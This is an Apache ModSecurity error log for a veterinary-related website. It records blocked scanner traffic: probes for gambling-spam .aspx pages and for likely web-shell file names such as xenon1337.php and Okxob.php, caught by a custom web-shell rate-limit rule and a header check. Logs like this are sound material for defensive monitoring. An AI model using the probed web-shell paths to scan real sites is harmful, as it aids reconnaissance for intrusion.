[Mon May 18 15:03:48.687864 2026] [:error] [pid 36493:tid 36571] [client 193.70.44.235:45180] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agq51AynkzQB5nM668qqtAAAARY"]
[Mon May 18 15:03:51.185579 2026] [:error] [pid 36491:tid 36508] [client 193.70.44.235:45184] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agq510555B9CZb6D60mdxQAAAU0"]
[Mon May 18 15:03:53.678868 2026] [:error] [pid 36491:tid 36498] [client 193.70.44.235:53838] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agq52U555B9CZb6D60mdyQAAAUM"]
[Mon May 18 15:03:56.176389 2026] [:error] [pid 36492:tid 36532] [client 193.70.44.235:53848] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agq53GCVlogrkn9m2w6kQgAAAAo"]
[Mon May 18 15:03:58.505016 2026] [:error] [pid 44087:tid 44099] [client 193.70.44.235:53862] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agq53m5HPHbH9GK7l6zdfwAAAco"]
[Mon May 18 15:04:01.001380 2026] [:error] [pid 36491:tid 36509] [client 193.70.44.235:53870] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agq54U555B9CZb6D60mdzAAAAU4"]
[Mon May 18 15:04:03.515209 2026] [:error] [pid 36491:tid 36506] [client 193.70.44.235:51790] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agq540555B9CZb6D60mdzwAAAUs"]
[Mon May 18 15:04:06.020485 2026] [:error] [pid 44046:tid 44058] [client 193.70.44.235:51802] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agq55oYF4k2jfXJBXk3mYgAAAYo"]
[Mon May 18 15:04:08.531727 2026] [:error] [pid 36579:tid 36590] [client 193.70.44.235:51814] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agq56F-aoZxBfgL5vDxtuAAAAEg"]
[Mon May 18 15:04:11.019606 2026] [:error] [pid 36579:tid 36582] [client 193.70.44.235:51818] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agq561-aoZxBfgL5vDxtwQAAAEA"]
[Mon May 18 15:04:13.524986 2026] [:error] [pid 36492:tid 36526] [client 193.70.44.235:34032] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agq57WCVlogrkn9m2w6kSwAAAAQ"]
[Mon May 18 15:04:16.040141 2026] [:error] [pid 44087:tid 44104] [client 193.70.44.235:34040] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agq58G5HPHbH9GK7l6zdggAAAc8"]
[Mon May 18 15:04:18.523049 2026] [:error] [pid 44087:tid 44098] [client 193.70.44.235:34054] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agq58m5HPHbH9GK7l6zdgwAAAck"]
[Mon May 18 15:04:21.034020 2026] [:error] [pid 36492:tid 36541] [client 193.70.44.235:34066] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agq59WCVlogrkn9m2w6kUAAAABM"]
[Mon May 18 15:04:23.363634 2026] [:error] [pid 36492:tid 36543] [client 193.70.44.235:33236] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agq592CVlogrkn9m2w6kUgAAABU"]
[Mon May 18 15:04:25.841136 2026] [:error] [pid 36492:tid 36530] [client 193.70.44.235:33252] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agq5-WCVlogrkn9m2w6kVQAAAAg"]
[Mon May 18 15:04:28.336637 2026] [:error] [pid 36491:tid 36499] [client 193.70.44.235:33264] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "agq5_E555B9CZb6D60md4wAAAUQ"]
[Mon May 18 15:05:02.157670 2026] [:error] [pid 36492:tid 36528] [client 193.70.44.235:33276] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agq6HmCVlogrkn9m2w6kewAAAAY"]
[Mon May 18 15:05:04.630301 2026] [:error] [pid 44046:tid 44055] [client 193.70.44.235:60638] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agq6IIYF4k2jfXJBXk3mhgAAAYc"]
[Mon May 18 15:05:07.090121 2026] [:error] [pid 36579:tid 36598] [client 193.70.44.235:60654] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agq6I1-aoZxBfgL5vDxt5QAAAFA"]
[Mon May 18 15:05:09.607264 2026] [:error] [pid 44087:tid 44095] [client 193.70.44.235:60660] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agq6JW5HPHbH9GK7l6zdlgAAAcY"]
[Mon May 18 15:05:12.083224 2026] [:error] [pid 36492:tid 36546] [client 193.70.44.235:47472] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agq6KGCVlogrkn9m2w6kfQAAABg"]
[Mon May 18 18:59:04.249958 2026] [:error] [pid 36491:tid 36497] [client 43.133.69.37:45572] [client 43.133.69.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agrw-E555B9CZb6D60nB8wAAAUI"]
[Mon May 18 20:38:57.499900 2026] [:error] [pid 36493:tid 36556] [client 101.190.187.49:63058] [client 101.190.187.49] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.74.167_8ba7ee7baf185439b4532ff6d673cb715a8d8932"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2023/03/louisa.png"] [unique_id "agsIXwynkzQB5nM668rKAAAAAQc"], referer: https://vetstars.com.au/
[Mon May 18 21:47:45.919683 2026] [:error] [pid 36491:tid 36496] [client 43.156.232.134:60198] [client 43.156.232.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agsYgU555B9CZb6D60natgAAAUE"]
[Mon May 18 23:52:35.025184 2026] [:error] [pid 36491:tid 36508] [client 43.163.206.70:59204] [client 43.163.206.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ags1w0555B9CZb6D60nnPQAAAU0"]
[Tue May 19 00:20:59.259347 2026] [:error] [pid 44087:tid 44106] [client 43.140.247.223:37852] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ags8a25HPHbH9GK7l6wHfAAAAdE"]
[Tue May 19 01:56:26.327444 2026] [:error] [pid 36491:tid 36510] [client 4.228.184.113:23811] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pha.php"] [unique_id "agtSyk555B9CZb6D60n8wAAAAU8"]
[Tue May 19 01:56:27.287930 2026] [:error] [pid 44046:tid 44062] [client 4.228.184.113:38257] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pha.php"] [unique_id "agtSy4YF4k2jfXJBXk0RJAAAAY4"]
[Tue May 19 01:56:28.934177 2026] [:error] [pid 44010:tid 44032] [client 4.228.184.113:32146] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pha.php"] [unique_id "agtSzDcFUuogD3-74-aNZQAAANQ"]
[Tue May 19 01:56:29.909317 2026] [:error] [pid 44046:tid 44065] [client 4.228.184.113:50651] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pha.php"] [unique_id "agtSzYYF4k2jfXJBXk0RJwAAAZE"]
[Tue May 19 01:56:31.112199 2026] [:error] [pid 44010:tid 44033] [client 4.228.184.113:38233] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c55cdler.php"] [unique_id "agtSzzcFUuogD3-74-aNagAAANU"]
[Tue May 19 01:56:32.526461 2026] [:error] [pid 44046:tid 44069] [client 4.228.184.113:23846] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c55cdler.php"] [unique_id "agtS0IYF4k2jfXJBXk0RKQAAAZU"]
[Tue May 19 01:56:33.424625 2026] [:error] [pid 36492:tid 36530] [client 4.228.184.113:23085] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c55cdler.php"] [unique_id "agtS0WCVlogrkn9m2w4o9gAAAAg"]
[Tue May 19 01:56:34.713529 2026] [:error] [pid 43916:tid 43939] [client 4.228.184.113:26837] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c55cdler.php"] [unique_id "agtS0tQC236p33zJJvneLQAAAI8"]
[Tue May 19 01:56:36.536112 2026] [:error] [pid 36491:tid 36504] [client 4.228.184.113:32166] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/guiler.php"] [unique_id "agtS1E555B9CZb6D60n8wwAAAUk"]
[Tue May 19 01:56:40.425478 2026] [:error] [pid 36493:tid 36558] [client 4.228.184.113:38244] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/guiler.php"] [unique_id "agtS2AynkzQB5nM668rkiAAAAQk"]
[Tue May 19 01:56:41.548839 2026] [:error] [pid 44010:tid 44024] [client 4.228.184.113:13332] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/guiler.php"] [unique_id "agtS2TcFUuogD3-74-aNcgAAAMw"]
[Tue May 19 01:56:42.481729 2026] [:error] [pid 43916:tid 43933] [client 4.228.184.113:59384] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/guiler.php"] [unique_id "agtS2tQC236p33zJJvneMAAAAIk"]
[Tue May 19 01:56:43.329473 2026] [:error] [pid 44046:tid 44060] [client 4.228.184.113:32143] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doko.php"] [unique_id "agtS24YF4k2jfXJBXk0RLwAAAYw"]
[Tue May 19 01:56:44.769747 2026] [:error] [pid 36493:tid 36560] [client 4.228.184.113:32174] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doko.php"] [unique_id "agtS3AynkzQB5nM668rkiwAAAQs"]
[Tue May 19 01:56:46.840709 2026] [:error] [pid 36493:tid 36552] [client 4.228.184.113:16657] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doko.php"] [unique_id "agtS3gynkzQB5nM668rkkgAAAQM"]
[Tue May 19 01:56:48.781035 2026] [:error] [pid 36493:tid 36568] [client 4.228.184.113:13846] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doko.php"] [unique_id "agtS4AynkzQB5nM668rklwAAARM"]
[Tue May 19 01:56:49.837801 2026] [:error] [pid 36492:tid 36532] [client 4.228.184.113:15603] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "agtS4WCVlogrkn9m2w4pEwAAAAo"]
[Tue May 19 01:56:52.686051 2026] [:error] [pid 36492:tid 36530] [client 4.228.184.113:15599] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "agtS5GCVlogrkn9m2w4pGQAAAAg"]
[Tue May 19 01:56:53.680575 2026] [:error] [pid 36493:tid 36557] [client 4.228.184.113:15569] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "agtS5QynkzQB5nM668rkmwAAAQg"]
[Tue May 19 01:56:54.743556 2026] [:error] [pid 36492:tid 36539] [client 4.228.184.113:13330] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "agtS5mCVlogrkn9m2w4pHQAAABE"]
[Tue May 19 01:56:55.995345 2026] [:error] [pid 36491:tid 36497] [client 4.228.184.113:23859] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "agtS50555B9CZb6D60n8zQAAAUI"]
[Tue May 19 01:56:56.989299 2026] [:error] [pid 36493:tid 36562] [client 4.228.184.113:59336] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "agtS6AynkzQB5nM668rkoQAAAQ0"]
[Tue May 19 01:56:58.233647 2026] [:error] [pid 43916:tid 43944] [client 4.228.184.113:60175] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "agtS6tQC236p33zJJvneMQAAAJQ"]
[Tue May 19 01:56:59.176936 2026] [:error] [pid 43916:tid 43929] [client 4.228.184.113:11503] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "agtS69QC236p33zJJvneMgAAAIU"]
[Tue May 19 01:57:00.201723 2026] [:error] [pid 43916:tid 43932] [client 4.228.184.113:16647] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenon1337.php"] [unique_id "agtS7NQC236p33zJJvneNAAAAIg"]
[Tue May 19 01:57:01.308643 2026] [:error] [pid 36492:tid 36538] [client 4.228.184.113:13322] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenon1337.php"] [unique_id "agtS7WCVlogrkn9m2w4pJgAAABA"]
[Tue May 19 01:57:02.444921 2026] [:error] [pid 36579:tid 36602] [client 4.228.184.113:59359] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenon1337.php"] [unique_id "agtS7l-aoZxBfgL5vDy1KgAAAFQ"]
[Tue May 19 01:57:03.378966 2026] [:error] [pid 43916:tid 43928] [client 4.228.184.113:60166] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenon1337.php"] [unique_id "agtS79QC236p33zJJvneOgAAAIQ"]
